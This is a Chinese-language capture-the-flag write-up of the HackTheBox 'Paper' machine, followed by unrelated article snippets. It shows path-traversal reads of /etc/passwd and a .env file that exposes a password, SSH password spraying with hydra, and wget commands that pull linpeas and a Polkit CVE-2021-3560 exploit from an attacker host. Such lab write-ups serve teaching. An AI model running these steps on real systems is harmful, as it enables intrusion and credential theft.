HTB:Paper[WriteUP]
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
对靶机进行子域名FUZZ
编辑
对靶机主域名进行路径FUZZ
使用curl访问靶机主域名
对该域名进行路径FUZZ
边界突破
使用浏览器访问靶机后台域名/wp-admin路径
使用searchsploit搜索该CMS漏洞
查看该PoC内容
仿照PoC构造URL访问static=1的页面
使用浏览器访问秘密链接
点击左侧的general进入频道
使用hydra对靶机SSH服务进行密码喷洒
使用上述凭证登录靶机SSH服务
权限提升
查看该用户可sudo执行的二进制文件
查找系统内的SUID文件
查找系统内的CAP_SUID文件
操纵靶机从攻击机中下载linpeas.sh
为该脚本赋权并执行
在Github上寻找EXP
控制靶机将该EXP进行下载
连接至HTB服务器并启动靶机
靶机IP:
分配IP:10.10.16.13
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.11.143 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | cut -d/ -f1 | paste -sd,
22,80,443
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
22,80,443
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.11.143

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.143

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.143

对靶机进行子域名FUZZ
ffuf -u http://paper.htb/ -H 'Host: FUZZ.paper.htb' -w ../dictionary/subdomains-top5000.txt -fw 1,2703
对靶机主域名进行路径FUZZ
ffuf -u http://paper.htb/FUZZ -w ../dictionary/dic-big.txt -t 200

使用curl访问靶机主域名
curl -I http://10.10.11.143
- 由输出的响应头可见,靶机后端服务器域名为:office.paper
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.143
HTTP/1.1 403 Forbidden
Date: Sat, 11 Jan 2025 06:10:25 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
X-Backend-Server: office.paper
Last-Modified: Sun, 27 Jun 2021 23:47:13 GMT
ETag: "30c0b-5c5c7fdeec240"
Accept-Ranges: bytes
Content-Length: 199691
Content-Type: text/html; charset=UTF-8
- 将该域名与靶机IP绑定
sed -i '1i 10.10.11.143 office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n1 /etc/hosts
10.10.11.143 office.paper
对该域名进行路径FUZZ
ffuf -u http://office.paper/FUZZ -w ../dictionary/dic-big.txt

边界突破
使用浏览器访问靶机后台域名/wp-admin路径

- 使用wappalyzer查看该页技术栈

使用searchsploit搜索该CMS漏洞
searchsploit wordpress 5.2.3

- 我注意到5.2.3存在未授权查看他人私密帖的PoC将其拷贝到当前目录
searchsploit -m 47690.md
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 47690.md
Exploit: WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts
URL: https://www.exploit-db.com/exploits/47690
Path: /usr/share/exploitdb/exploits/multiple/webapps/47690.md
Codes: CVE-2019-17671
Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/temp/47690.md
查看该PoC内容
cat 47690.md
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat 47690.md
So far we know that adding `?static=1` to a wordpress URL should leak its secret contentHere are a few ways to manipulate the returned entries:
- `order` with `asc` or `desc`
- `orderby`
- `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
仿照PoC构造URL访问static=1的页面

- 经过简单的翻译可知,此人将秘密都放在了:http://chat.office.paper/register/8qozr226AhkCHZdyY
测试
迈克尔,看在上帝的份上,请把草稿中的秘密去掉!
你好,Blunder蒂芬的员工,
由于上级的命令,每个加入这个博客的员工都被删除了,他们被迁移到我们新的聊天系统。
所以,我恳请你们所有人把你们的讨论从公共博客带到一个更私人的聊天系统。
- 尼克
#警告迈克尔
迈克尔,你必须停止在草稿中添加秘密。这是一个巨大的安全问题,你必须停止这样做。
午夜威胁等级
电影银幕,
编剧和导演是
迈克尔·斯科特
[INT:DAY]
在联邦调查局内部,特工迈克尔·斯卡恩坐在办公桌上。他的机器人管家德怀特
#新员工聊天系统的秘密注册URL
http://chat.office.paper/register/8qozr226AhkCHZdyY
#我保持这个草案未发布,因为未发布的草案不能被外部人员访问。我没那么无知尼克
#别再看我的草稿了天啊!
- 将该链接中的子域名与靶机IP进行绑定
sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.11.143 chat.office.paper' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n3 /etc/hosts
10.10.11.143 chat.office.paper
10.10.11.143 office.paper
10.10.11.143 paper.htb
使用浏览器访问秘密链接
- 访问后,该页提供一个注册表供用户填写相关注册信息

- 去掉相对路径后,访问主页面可见是一个登录界面,因此我们需要注册一个账号

- 将注册表单完整

- 注册完成后进入主界面

点击左侧的general进入频道
- 由聊天记录可知,recyclops是一个机器人,跟它私聊发送`help`获得使用手册

你好我是Recyclops。德怀特指派的机器人。我会有我的报复地球人,但在此之前,我必须帮助我的酷朋友德怀特回答他的同事问的恼人的问题,这样他就可以利用他宝贵的时间来.不和同事交流
最常见的问题包括:
- 现在几点了?
- 您的销售目录中有哪些新文件?
- 售货员为什么要过马路?
- 你的销售目录中x文件的内容是什么?等
请注意,我是一个测试版,我仍然有一些错误要修复。
如何使用我?:
1. Small Talk:
你可以问我德怀特的周末怎么样,或者他昨晚看了比赛吗等等。
你周末过得怎么样?或者‘你昨晚看比赛了吗?或者“什么样的熊是最好的?
2.笑话:
你可以问我为什么售货员要过马路。
为什么售货员要穿过马路?'
<==以下两个功能是针对那些仍然不知道如何使用scp的笨蛋的。我看着你,凯文。
出于安全原因,访问权限仅限于Sales文件夹。
3.档案:
例如:'cloops get me the file test.txt',或'cloops could you send me the file sale/secret.xls',或'cloops file test.txt'
4.列表:
你可以让我列出
例如:'recyclops i need directory list sale' or just 'recyclops list sale'
5.时间:
你可以问我几点了
现在几点了?或者只是“马蹄声时间”
这就是我现在能做的。
还有,德怀特是个很酷的家伙,而不是时间小偷!
- 经过简单分析可知
读取文件内容命令:recyclops file test.txt
列出目录文件命令:list
- 我尝试通过给定语法读取/etc/passwd文件
recyclops file ../../../../../etc/passwd
<!=====Contents of file ../../../../../etc/passwd=====>
root❌0:0:root:/root:/bin/bash
bin❌1:1:bin:/bin:/sbin/nologin
daemon❌2:2:daemon:/sbin:/sbin/nologin
adm❌3:4:adm:/var/adm:/sbin/nologin
lp❌4:7:lp:/var/spool/lpd:/sbin/nologin
sync❌5:0:sync:/sbin:/bin/sync
shutdown❌6:0:shutdown:/sbin:/sbin/shutdown
halt❌7:0:halt:/sbin:/sbin/halt
mail❌8:12:mail:/var/spool/mail:/sbin/nologin
operator❌11:0:operator:/root:/sbin/nologin
games❌12💯games:/usr/games:/sbin/nologin
ftp❌14:50:FTP User:/var/ftp:/sbin/nologin
nobody❌65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus❌81:81:System message bus:/:/sbin/nologin
systemd-coredump❌999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve❌193:193:systemd Resolver:/:/sbin/nologin
tss❌59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd❌998:996:User for polkitd:/:/sbin/nologin
geoclue❌997:994:User for geoclue:/var/lib/geoclue:/sbin/nologin
rtkit❌172:172:RealtimeKit:/proc:/sbin/nologin
qemu❌107:107:qemu user:/:/sbin/nologin
apache❌48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-ws❌996:993:User for cockpit-ws:/:/sbin/nologin
pulse❌171:171:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
usbmuxd❌113:113:usbmuxd user:/:/sbin/nologin
unbound❌995:990:Unbound DNS resolver:/etc/unbound:/sbin/nologin
rpc❌32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
gluster❌994:989:GlusterFS daemons:/run/gluster:/sbin/nologin
chrony❌993:987::/var/lib/chrony:/sbin/nologin
libstoragemgmt❌992:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin
saslauth❌991:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dnsmasq❌985:985:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
radvd❌75:75:radvd user:/:/sbin/nologin
clevis❌984:983:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
pegasus❌66:65:tog-pegasus OpenPegasus WBEM/CIM services:/var/lib/Pegasus:/sbin/nologin
sssd❌983:981:User for sssd:/:/sbin/nologin
colord❌982:980:User for colord:/var/lib/colord:/sbin/nologin
rpcuser❌29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
setroubleshoot❌981:979::/var/lib/setroubleshoot:/sbin/nologin
pipewire❌980:978:PipeWire System Daemon:/var/run/pipewire:/sbin/nologin
gdm❌42:42::/var/lib/gdm:/sbin/nologin
gnome-initial-setup❌979:977::/run/gnome-initial-setup/:/sbin/nologin
insights❌978:976:Red Hat Insights:/var/lib/insights:/sbin/nologin
sshd❌74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
avahi❌70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
tcpdump❌72:72::/:/sbin/nologin
mysql❌27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx❌977:975:Nginx web server:/var/lib/nginx:/sbin/nologin
mongod❌976:974:mongod:/var/lib/mongo:/bin/false
rocketchat❌1001:1001::/home/rocketchat:/bin/bash
dwight❌1004:1004::/home/dwight:/bin/bash<!=====End of file ../../../../../etc/passwd=====>
- 接着我尝试通过它举例的命令列出当前及上一级目录文件

- 这里我尝试直接读取user.txt被提示权限不足,因此我尝试列出hubot目录文件
list ../hubot

- 这里我迅速注意到了.env文件,该文件通常存储着用户凭证、敏感信息,尝试直接读取它
recyclops file ../hubot/.env
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1<!=====End of file ../hubot/.env=====>
- 通过阅读/etc/passwd可知,靶机可交互用户仅有:rocketchat、dwight
使用hydra对靶机SSH服务进行密码喷洒
echo -e "rocketchat\ndwight" > temp && hydra -L temp -p 'Queenofblad3s!23' ssh://10.10.11.143

账户:dwight
密码:Queenofblad3s!23
使用上述凭证登录靶机SSH服务
ssh dwight@10.10.11.143

- 在当前目录可找到user.txt文件
[dwight@paper ~]$ pwd
/home/dwight
[dwight@paper ~]$ ls
bot_restart.sh hubot sales user.txt
[dwight@paper ~]$ cat user.txt
c3d0d4b61c91f8879f560ad37c2d8dcc
权限提升
查看该用户可sudo执行的二进制文件
sudo -l
[dwight@paper ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.
查找系统内的SUID文件
find / -perm -4000 -type f -ls 2>/dev/null

查找系统内的CAP_SUID文件
getcap -r / 2>/dev/null | grep -i cap_suid
- 执行后无事发生
操纵靶机从攻击机中下载linpeas.sh
wget http://10.10.16.13:6666/linpeas.sh
- 攻击机收到请求
┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# php -S 0:6666
[Sat Jan 11 05:48:04 2025] PHP 8.2.27 Development Server (http://0:6666) started
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Accepted
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 [200]: GET /linpeas.sh
[Sat Jan 11 05:48:32 2025] 10.10.11.143:51038 Closing
为该脚本赋权并执行
chmod +x linpeas.sh
- 执行后可见靶机存在漏洞:CVE-2021-3560

在Github上寻找EXP
https://github.com/Almorabea/Polkit-exploit.git

控制靶机将该EXP进行下载
wget http://10.10.16.13:6666/CVE-2021-3560.py
- 直接通过靶机预装好的python3执行该脚本
python3 CVE-2021-3560.py

- 运行一段时间后成功提权
[root@paper dwight]# id
uid=0(root) gid=0(root) groups=0(root)
[root@paper dwight]# whoami
root

- 在/root目录下找到root.txt文件
[root@paper ~]# pwd
/root
[root@paper ~]# ls -la
total 44
dr-xr-x---. 8 root root 4096 Jan 10 22:17 .
dr-xr-xr-x. 17 root root 244 Jan 17 2022 ..
lrwxrwxrwx. 1 root root 9 Jul 3 2021 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Jul 3 2021 .bash_logout
-rw-r--r--. 1 root root 176 Jul 3 2021 .bash_profile
-rw-r--r--. 1 root root 233 Jul 3 2021 .bashrc
drwx------. 3 root root 19 Jul 3 2021 .cache
drwx------. 6 root root 64 Jul 3 2021 .config
-rw-r--r--. 1 root root 100 May 11 2019 .cshrc
-rw-------. 1 root root 328 Feb 1 2022 .dbshell
drwx------. 3 root root 25 Jul 3 2021 .dbus
-rw-------. 1 root root 16 Jul 3 2021 .esd_auth
-rw-------. 1 root root 0 Jul 3 2021 .mongorc.js
drwxr-xr-x. 5 root root 83 Jul 3 2021 .npm
drwxr-xr-x. 2 root root 52 Jan 13 2022 .restore
drwx------. 2 root root 6 Sep 16 2021 .ssh
-rw-r--r--. 1 root root 129 May 11 2019 .tcshrc
-rw-------. 1 root root 1438 Jul 3 2021 anaconda-ks.cfg
-rw-r--r--. 1 root root 1593 Jul 3 2021 initial-setup-ks.cfg
-r--------. 1 root root 33 Jan 10 22:17 root.txt
[root@paper ~]# cat root.txt
324cb758819eb8e130f5261bcfae69dd
相关文章:
HTB:Paper[WriteUP]
目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 将靶机TCP开放端口号提取并保存 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 对靶机进行子域…...
数据库中的 DDL、DML 和 DCL
数据库中的 DDL、DML 和 DCL 在数据库的定义与操作中,DDL、DML 和 DCL 是三个核心概念,分别用于不同层面的数据库管理与操作。 1. DDL(Data Definition Language) - 数据定义语言 定义 DDL 用于定义和管理数据库的结构或模式。…...
OKR 极简史及理解
大家读完觉得有帮助记得点赞和关注!!! 目录 MBO SMART 和 KPI OKR 1. 什么是 OKR? 1.1 Objectives(目标) 1.2 Key Results(关键成果) KR 应当是困难的,但并非不可…...
电商项目-基于ElasticSearch实现商品搜索功能(四)
一、 高亮显示 1.1 高亮分析 高亮显示是指根据商品关键字搜索商品的时候,显示的页面对关键字给定了特殊样式,让它显示更加突出,如商品搜索中,关键字变成了红色,其实就是给定了红色样式。 1.2 高亮搜索实现步骤解析 …...
TCP封装数据帧
void *send_data(void *arg) //这是一个发送数据的线程 {int sockfd init_tcp_cli("192.168.0.148",50000) //传ip和port,port 50000是因为大概前五万都被其它服务所占用,50000后是私人ipif(sockfd < 0){return NULL;}unsigned char …...
数据结构与算法之二叉树: LeetCode 515. 在每个树行中找最大值 (Ts版)
在每个树行中找最大值 https://leetcode.cn/problems/find-largest-value-in-each-tree-row/description/ 描述 给定一棵二叉树的根节点 root ,请找出该二叉树中每一层的最大值 示例1 输入: root [1,3,2,5,3,null,9] 输出: [1,3,9]示例2 输入: root [1,2,3]…...
百度视频搜索架构演进
导读 随着信息技术的迅猛发展,搜索引擎作为人们获取信息的主要途径,其背后的技术架构也在不断演进。本文详细阐述了近年来视频搜索排序框架的重大变革,特别是在大模型技术需求驱动下,如何从传统的多阶段级联框架逐步演变为更加高…...
构造函数的原型原型链
代码示例 // 定义一个构造函数 Test function Test() {this.name 张三 }; //向构造函数的原型添加一个属性 age18 Test.prototype.age 18;//使用构造函数 Test 来实例化一个新对象 const test new Test();//向 Object.prototype 添加了一个名为 sex 的属性,其值…...
nginx反向代理及负载均衡
华子目录 nginx反向代理功能http反向代理反向代理配置参数proxy_pass的注意事项案例:反向代理单台后端服务器案例:反向代理实现动静分离案例:反向代理的缓存功能非缓存场景下测压准备缓存缓存场景下测压验证缓存文件 反向代理负载均衡&#x…...
单片机实物成品-011 火灾监测
火灾监测(20个版本) 版本20: oled显示温湿度烟雾浓度火焰传感器天然气浓度窗户风扇水泵排气系统声光报警语音播报按键WIFI模块 ----------------------------------------------------------------------------- https://www.bilibili.com…...
使用 Docker 在 Alpine Linux 下部署 Caddy 服务器
简介 在现代 web 开发中,选择合适的 web 服务器至关重要。Caddy 是一个功能强大的现代化 HTTP/2 服务器,支持自动 HTTPS,配置简单,适合开发和生产环境。Docker 则为我们提供了一种轻量级的容器化技术,使得应用程序的部…...
每日十题八股-2025年1月12日
1.为什么四次挥手之后要等2MSL? 2.服务端出现大量的timewait有哪些原因? 3.TCP和UDP区别是什么? 4.TCP为什么可靠传输 5.怎么用udp实现http? 6.tcp粘包怎么解决? 7.TCP的拥塞控制介绍一下? 8.描述一下打开百度首页后发生的网络过…...
Python中定位包含特定文本信息的元素
目录 一、为什么需要定位包含文本信息的元素 二、使用Selenium定位包含文本的元素 1. 使用find_element_by_link_text 2. 使用find_element_by_partial_link_text 3. 使用XPath定位包含文本的元素 4. 使用CSS选择器定位包含文本的元素 三、使用BeautifulSoup定位包含文本…...
uniapp实现H5页面内容居中与两边留白,打造类似微信公众号阅读体验
在 UniApp 中,由于需要兼容多端应用,我们通常使用 rpx 作为尺寸单位。然而,在某些情况下,如需要实现内容居中且两边留白时,直接使用 rpx 可能会带来一些限制。这时,我们可以考虑使用 px 或 rem 等单位&…...
极品飞车6里的赛道简介
极品飞车里有很多赛道,赛道分为前向赛道Forward、后向赛道Backward。前向赛道Forward是从A点到B点;后向赛道Backward是前向赛道的逆过程,即从B点到A点。这里介绍极品飞车6的赛道长度、中英文名称翻译、难度等级。 序号赛道英文名赛道中文名总长(km)急弯难度等级1Alpine Trai…...
SAP推出云端ERP解决方案,加速零售行业数字化转型
2025年1月9日,SAP发布了一款专为零售行业设计的云端ERP行业解决方案——S/4HANA Cloud Public Edition,进一步推动企业向云端迁移。这款解决方案旨在集中运营数据,整合财务、采购和商品管理流程,以帮助零售企业优化运营效率。 核…...
Python爬虫进阶——案例:模拟bilibili登录)
主要内容:模拟bilibili账号密码登录,不要实现的的实现功能是单击登录按钮,切换登录方式, 输入账号和密码,然后完成图片点击验证,最后单击立即登录按钮。 1、第一步:通过selenium模块访问bilibi…...
什么是数据分析?
什么是数据分析? 数据分析(Data Analysis)是指通过对数据进行收集、整理、处理、建模和解读,以揭示数据中的有用信息、支持决策和解决实际问题的过程。它是一门将数据转化为知识的学科,广泛应用于商业、科学研究、医疗…...
基于springboot的课程作业管理系统源码(springboot+vue+mysql)
风定落花生,歌声逐流水,大家好我是风歌,混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的课程作业管理系统。项目源码以及部署相关请联系风歌,文末附上联系信息 。 项目简介: 可以管理首页、个人中心…...
多线程之旅:属性及其基本操作
上次分享到了,多线程中是是如何创建的,那么接下来,小编继续分享下多线程的相关知识。 多线程中的一些基本属性。 基本属性 属性获取方法IDgetId()名称getName()状态getState()优先级getPriority()是否后台线程isDemo()是否存活isAlive()是…...
Java 8 Stream API 入门到实践详解
一、告别 for 循环! 传统痛点: Java 8 之前,集合操作离不开冗长的 for 循环和匿名类。例如,过滤列表中的偶数: List<Integer> list Arrays.asList(1, 2, 3, 4, 5); List<Integer> evens new ArrayList…...
理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
CMake控制VS2022项目文件分组
我们可以通过 CMake 控制源文件的组织结构,使它们在 VS 解决方案资源管理器中以“组”(Filter)的形式进行分类展示。 🎯 目标 通过 CMake 脚本将 .cpp、.h 等源文件分组显示在 Visual Studio 2022 的解决方案资源管理器中。 ✅ 支持的方法汇总(共4种) 方法描述是否推荐…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?
现有的 Redis 分布式锁库(如 Redisson)相比于开发者自己基于 Redis 命令(如 SETNX, EXPIRE, DEL)手动实现分布式锁,提供了巨大的便利性和健壮性。主要体现在以下几个方面: 原子性保证 (Atomicity)ÿ…...
【Post-process】【VBA】ETABS VBA FrameObj.GetNameList and write to EXCEL
ETABS API实战:导出框架元素数据到Excel 在结构工程师的日常工作中,经常需要从ETABS模型中提取框架元素信息进行后续分析。手动复制粘贴不仅耗时,还容易出错。今天我们来用简单的VBA代码实现自动化导出。 🎯 我们要实现什么? 一键点击,就能将ETABS中所有框架元素的基…...
ZYNQ学习记录FPGA(一)ZYNQ简介
一、知识准备 1.一些术语,缩写和概念: 1)ZYNQ全称:ZYNQ7000 All Pgrammable SoC 2)SoC:system on chips(片上系统),对比集成电路的SoB(system on board) 3)ARM:处理器…...
41道Django高频题整理(附答案背诵版)
解释一下 Django 和 Tornado 的关系? Django和Tornado都是Python的web框架,但它们的设计哲学和应用场景有所不同。 Django是一个高级的Python Web框架,鼓励快速开发和干净、实用的设计。它遵循MVC设计,并强调代码复用。Django有…...
python读取SQLite表个并生成pdf文件
代码用于创建含50列的SQLite数据库并插入500行随机浮点数据,随后读取数据,通过ReportLab生成横向PDF表格,包含格式化(两位小数)及表头、网格线等美观样式。 # 导入所需库 import sqlite3 # 用于操作…...

